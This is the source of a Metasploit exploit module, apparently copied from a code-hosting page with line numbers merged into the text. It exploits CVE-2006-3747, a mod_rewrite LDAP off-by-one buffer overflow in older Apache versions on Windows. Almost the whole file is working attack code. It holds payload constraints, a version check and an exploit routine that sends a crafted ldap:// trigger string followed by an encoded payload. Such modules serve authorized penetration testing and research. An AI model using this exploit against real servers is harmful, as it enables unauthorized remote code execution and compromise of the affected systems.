Path: blob/master/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Apache Module mod_rewrite LDAP Protocol Buffer Overflow',15'Description' => %q{16This module exploits the mod_rewrite LDAP protocol scheme handling17flaw discovered by Mark Dowd, which produces an off-by-one overflow.18Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.19This module requires REWRITEPATH to be set accurately. In addition,20the target must have 'RewriteEngine on' configured, with a specific21'RewriteRule' condition enabled to allow for exploitation.2223The flaw affects multiple platforms, however this module currently24only supports Windows based installations.25},26'Author' => 'aushack',27'References' => [28[ 'CVE', '2006-3747' ],29[ 'OSVDB', '27588' ],30[ 'BID', '19204' ],31[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ],32[ 'EDB', '3680' ],33[ 'EDB', '3996' ],34[ 'EDB', '2237' ]35],36'DefaultOptions' => {37'EXITFUNC' => 'thread',38'AllowWin32SEH' => true39},40'Privileged' => true,41'Platform' => ['win'],42'Payload' => {43'Space' => 636,44'BadChars' => "\x00\x0a\x0d\x20",45'EncoderType' => Msf::Encoder::Type::AlphanumUpper,46'StackAdjustment' => -3500,47'DisableNops' => true,48},49'Targets' => [50[ 'Automatic', {} ], # aushack tested OK 20090310 win3251],52'DisclosureDate' => '2006-07-28',53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]),65]66)67end6869def check70res = send_request_raw({71'uri' => '/',72'version' => '1.1',73}, 2)7475if (res.to_s =~ /Apache/) # This could be smarter.76return Exploit::CheckCode::Detected77end7879return Exploit::CheckCode::Safe80end8182def exploit83# On Linux Apache, it is possible to overwrite EIP by84# sending ldap://<buf> ... TODO aushack8586trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'8788print_status("Sending payload.")89send_request_raw({90'uri' => normalize_uri(datastore['REWRITEPATH']) + trigger + payload.encoded,91'version' => '1.0',92}, 2)93handler94end95end969798